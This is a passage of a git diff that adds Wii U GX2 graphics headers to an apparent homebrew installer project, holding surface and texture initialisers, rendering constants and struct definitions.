dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) +{ + colorBuffer->surface.dimension = dimension; + colorBuffer->surface.width = width; + colorBuffer->surface.height = height; + colorBuffer->surface.depth = depth; + colorBuffer->surface.num_mips = 1; + colorBuffer->surface.format = format; + colorBuffer->surface.aa = aa; + colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; + colorBuffer->surface.image_size = 0; + colorBuffer->surface.image_data = NULL; + colorBuffer->surface.mip_size = 0; + colorBuffer->surface.mip_data = NULL; + colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; + colorBuffer->surface.swizzle = 0; + colorBuffer->surface.align = 0; + colorBuffer->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + colorBuffer->surface.mip_offset[i] = 0; + colorBuffer->view_mip = 0; + colorBuffer->view_first_slice = 0; + colorBuffer->view_slices_count = depth; + colorBuffer->aux_data = NULL; + colorBuffer->aux_size = 0; + for(i = 0; i < 5; i++) + colorBuffer->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); + GX2InitColorBufferRegs(colorBuffer); +} + +static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) +{ + attr->location = location; + attr->buffer = buffer; + attr->offset = offset; + attr->format = format; + attr->index_type = 0; + attr->divisor = 0; + attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; + attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; +} + +static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) +{ + tex->surface.dimension = dimension; + tex->surface.width = width; + tex->surface.height = height; + tex->surface.depth = depth; + tex->surface.num_mips = num_mips; + tex->surface.format = format; + tex->surface.aa = GX2_AA_MODE_1X; + tex->surface.use = GX2_SURFACE_USE_TEXTURE; + tex->surface.image_size = 0; + tex->surface.image_data = NULL; + tex->surface.mip_size = 0; + tex->surface.mip_data = NULL; + tex->surface.tile = tile; + tex->surface.swizzle = 0; + tex->surface.align = 0; + tex->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + tex->surface.mip_offset[i] = 0; + tex->view_first_mip = 0; + tex->view_mips_count = num_mips; + tex->view_first_slice = 0; + tex->view_slices_count = depth; + tex->component_selector = texture_comp_selector[format & 0x3f]; + for(i = 0; i < 5; i++) + tex->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&tex->surface); + GX2InitTextureRegs(tex); +} + +#ifdef __cplusplus +} +#endif + +#endif // __GX2_FUNCTIONS_H_ diff --git a/installer/src/dynamic_libs/gx2_types.h b/installer/src/dynamic_libs/gx2_types.h new file mode 100644 index 0000000..e292318 --- /dev/null +++ b/installer/src/dynamic_libs/gx2_types.h @@ -0,0 +1,699 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _GX2_TYPES_H_ +#define _GX2_TYPES_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +//!----------------------------------------------------------------------------------------------------------------------- +//! Constants +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMMAND_BUFFER_SIZE 0x400000 +#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 +#define GX2_SHADER_ALIGNMENT 0x100 +#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 +#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 +#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 +#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 + +#define GX2_CONTEXT_STATE_SIZE 0xA100 + +#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC + +//!----------------------------------------------------------------------------------------------------------------------- +//! Common +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FALSE 0 +#define GX2_TRUE 1 +#define GX2_DISABLE 0 +#define GX2_ENABLE 1 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2InitAttrib +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INIT_ATTRIB_NULL 0 +#define GX2_INIT_ATTRIB_CB_BASE 1 +#define GX2_INIT_ATTRIB_CB_SIZE 2 +#define GX2_INIT_ATTRIB_ARGC 7 +#define GX2_INIT_ATTRIB_ARGV 8 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 compare functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMPARE_NEVER 0 +#define GX2_COMPARE_LESS 1 +#define GX2_COMPARE_EQUAL 2 +#define GX2_COMPARE_LEQUAL 3 +#define GX2_COMPARE_GREATER 4 +#define GX2_COMPARE_NOTEQUAL 5 +#define GX2_COMPARE_GEQUAL 6 +#define GX2_COMPARE_ALWAYS 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 stencil functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_STENCIL_KEEP 0 +#define GX2_STENCIL_ZERO 1 +#define GX2_STENCIL_REPLACE 2 +#define GX2_STENCIL_INCR 3 +#define GX2_STENCIL_DECR 4 +#define GX2_STENCIL_INVERT 5 +#define GX2_STENCIL_INCR_WRAP 6 +#define GX2_STENCIL_DECR_WRAP 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 logic op functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_LOGIC_OP_CLEAR 0x00 +#define GX2_LOGIC_OP_NOR 0x11 +#define GX2_LOGIC_OP_INVAND 0x22 +#define GX2_LOGIC_OP_INVCOPY 0x33 +#define GX2_LOGIC_OP_REVAND 0x44 +#define GX2_LOGIC_OP_INV 0x55 +#define GX2_LOGIC_OP_XOR 0x66 +#define GX2_LOGIC_OP_NAND 0x77 +#define GX2_LOGIC_OP_AND 0x88 +#define GX2_LOGIC_OP_EQUIV 0x99 +#define GX2_LOGIC_OP_NOOP 0xAA +#define GX2_LOGIC_OP_INVOR 0xBB +#define GX2_LOGIC_OP_COPY 0xCC +#define GX2_LOGIC_OP_REVOR 0xDD +#define GX2_LOGIC_OP_OR 0xEE +#define GX2_LOGIC_OP_SET 0xFF + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 blend combination functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BLEND_COMBINE_ADD 0x00 +#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 +#define GX2_BLEND_COMBINE_MIN 0x02 +#define GX2_BLEND_COMBINE_MAX 0x03 +#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 blend functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BLEND_ZERO 0x00 +#define GX2_BLEND_ONE 0x01 +#define GX2_BLEND_SRC_ALPHA 0x04 +#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 render targets +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_RENDER_TARGET_0 0 +#define GX2_RENDER_TARGET_1 1 +#define GX2_RENDER_TARGET_2 2 +#define GX2_RENDER_TARGET_3 3 +#define GX2_RENDER_TARGET_4 4 +#define GX2_RENDER_TARGET_5 5 +#define GX2_RENDER_TARGET_6 6 +#define GX2_RENDER_TARGET_7 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 cull modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FRONT_FACE_CCW 0 +#define GX2_FRONT_FACE_CW 1 +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 polygon modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_POLYGON_MODE_POINT 0 +#define GX2_POLYGON_MODE_LINE 1 +#define GX2_POLYGON_MODE_TRIANGLE 2 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 special states +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SPECIAL_STATE_CLEAR 0 +#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 +#define GX2_SPECIAL_STATE_COPY 2 +#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 +#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4 +#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 +#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 +#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 +#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 attribute formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 +#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 +#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 +#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 +#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A +#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B +#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E + +#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 +#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 +#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 +#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 +#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A +#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B +#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C +#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E +#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 +#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 + +#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 +#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 +#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 +#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A +#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B +#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E + +#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 +#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 +#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 +#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 +#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A +#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B +#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C +#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E +#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 +#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 + +#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 +#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 +#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 +#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 +#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 +#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 +#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 +#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A +#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D +#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E +#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F +#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 +#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 + +#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 +#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 +#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 +#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A +#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 shader modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 +#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 +#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 +#define GX2_SHADER_MODE_COMPUTE_SHADER 3 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 shader modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMP_SEL_NONE 0x04040405 +#define GX2_COMP_SEL_X001 0x00040405 +#define GX2_COMP_SEL_XY01 0x00010405 +#define GX2_COMP_SEL_XYZ1 0x00010205 +#define GX2_COMP_SEL_XYZW 0x00010203 +#define GX2_COMP_SEL_XXXX 0x00000000 +#define GX2_COMP_SEL_YYYY 0x01010101 +#define GX2_COMP_SEL_ZZZZ 0x02020202 +#define GX2_COMP_SEL_WWWW 0x03030303 +#define GX2_COMP_SEL_WZYX 0x03020100 +#define GX2_COMP_SEL_WXYZ 0x03000102 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 variable types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_VAR_TYPE_VOID 0 +#define GX2_VAR_TYPE_BOOL 1 +#define GX2_VAR_TYPE_INT 2 +#define GX2_VAR_TYPE_UINT 3 +#define GX2_VAR_TYPE_FLOAT 4 +#define GX2_VAR_TYPE_DOUBLE 5 +#define GX2_VAR_TYPE_VEC2 9 +#define GX2_VAR_TYPE_VEC3 10 +#define GX2_VAR_TYPE_VEC4 11 +#define GX2_VAR_TYPE_MAT2 21 +#define GX2_VAR_TYPE_MAT3 25 +#define GX2_VAR_TYPE_MAT4 29 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 sample types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SAMPLER_TYPE_2D 1 + + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 index formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INDEX_FORMAT_U16 4 +#define GX2_INDEX_FORMAT_U32 9 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 primitive types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_PRIMITIVE_POINTS 0x01 +#define GX2_PRIMITIVE_LINES 0x02 +#define GX2_PRIMITIVE_LINE_STRIP 0x03 +#define GX2_PRIMITIVE_TRIANGLES 0x04 +#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 +#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 +#define GX2_PRIMITIVE_RECTS 0x11 +#define GX2_PRIMITIVE_QUADS 0x13 +#define GX2_PRIMITIVE_QUAD_STRIP 0x14 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 clear modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_CLEAR_DEPTH 0x01 +#define GX2_CLEAR_STENCIL 0x02 +#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 +#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 +#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 +#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 +#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 +#define GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a +#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b +#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c +#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f +#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 +#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 +#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 +#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a +#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f +#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 +#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 +#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 +#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 +#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 +#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 + +#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 +#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 +#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 +#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d +#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f +#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a +#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b +#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c +#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 + +#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 +#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 +#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 +#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f +#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f +#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 +#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 + +#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 +#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 +#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 +#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d +#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a +#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 + +#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a +#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 +#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 +#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 + +#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 +#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e +#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 +#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 +#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 +#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c +#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c +#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 tile modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TILE_MODE_DEFAULT 0x00000000 +#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface use +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_USE_TEXTURE 0x00000001 +#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 +#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 +#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 +#define GX2_SURFACE_USE_FTV 0x80000000 +#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) +#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) +#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) +#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface dim +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_DIM_1D 0x00000000 +#define GX2_SURFACE_DIM_2D 0x00000001 +#define GX2_SURFACE_DIM_3D 0x00000002 +#define GX2_SURFACE_DIM_CUBE 0x00000003 +#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 +#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 +#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 +#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 AA modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_AA_MODE_1X 0x00000000 +#define GX2_AA_MODE_2X 0x00000001 +#define GX2_AA_MODE_4X 0x00000002 +#define GX2_AA_MODE_8X 0x00000003 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 texture clamp +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TEX_CLAMP_WRAP 0x00000000 +#define GX2_TEX_CLAMP_MIRROR 0x00000001 +#define GX2_TEX_CLAMP_CLAMP 0x00000002 +#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 +#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 +#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 +#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 +#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 texture filter +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TEX_XY_FILTER_POINT 0x00000000 +#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 TV scan modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TV_SCAN_MODE_NONE 0x00000000 +#define GX2_TV_SCAN_MODE_576I 0x00000001 +#define GX2_TV_SCAN_MODE_480I 0x00000002 +#define GX2_TV_SCAN_MODE_480P 0x00000003 +#define GX2_TV_SCAN_MODE_720P 0x00000004 +#define GX2_TV_SCAN_MODE_1080I 0x00000006 +#define GX2_TV_SCAN_MODE_1080P 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 TV render modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TV_RENDER_480_NARROW 0x00000001 +#define GX2_TV_RENDER_480_WIDE 0x00000002 +#define GX2_TV_RENDER_720 0x00000003 +#define GX2_TV_RENDER_1080 0x00000005 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 DRC render modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_DRC_NONE 0x00000000 +#define GX2_DRC_SINGLE 0x00000001 +#define GX2_DRC_DOUBLE 0x00000002 +#define GX2_DRC_SINGLE_30HZ 0x00000004 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 buffering mode +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BUFFERING_SINGLE 0x00000001 +#define GX2_BUFFERING_DOUBLE 0x00000002 +#define GX2_BUFFERING_TRIPLE 0x00000003 +#define GX2_BUFFERING_QUAD +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 scan targets +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SCAN_TARGET_TV 0x00000001 +#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 +#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 invalidate types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 +#define GX2_INVALIDATE_TEXTURE 0x00000002 +#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 +#define GX2_INVALIDATE_SHADER 0x00000008 +#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 +#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 +#define GX2_INVALIDATE_CPU 0x00000040 +#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) +#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) +#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) +#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 swap modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_ENDIANSWAP_DEFAULT 0x00000003 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 tessellation modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 +#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 +#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 fetch shader types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 +#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 +#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 +#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 + + +typedef struct _GX2ContextState { + u8 data[GX2_CONTEXT_STATE_SIZE]; +} GX2ContextState; + +typedef struct _GX2Surface { + s32 dimension; + u32 width; + u32 height; + u32 depth; + u32 num_mips; + s32 format; + s32 aa; + s32 use; + u32 image_size; + void *image_data; + u32 mip_size; + void *mip_data; + s32 tile; + u32 swizzle; + u32 align; + u32 pitch; + u32 mip_offset[13]; +} GX2Surface; + +typedef struct _GX2ColorBuffer { + GX2Surface surface; + u32 view_mip; + u32 view_first_slice; + u32 view_slices_count; + void *aux_data; + u32 aux_size; + u32 regs[5]; +} GX2ColorBuffer; + +typedef struct _GX2DepthBuffer { + GX2Surface surface; + u32 view_mip; + u32 view_first_slice; + u32 view_slices_count; + void *hiZ_data; + u32 hiZ_size; + f32 clear_depth; + u32 clear_stencil; + u32 regs[7]; +} GX2DepthBuffer; + + +typedef struct _GX2Texture { + GX2Surface surface; + u32 view_first_mip; + u32 view_mips_count; + u32 view_first_slice; + u32 view_slices_count; + u32 component_selector; + u32 regs[5]; +} GX2Texture; + + +typedef 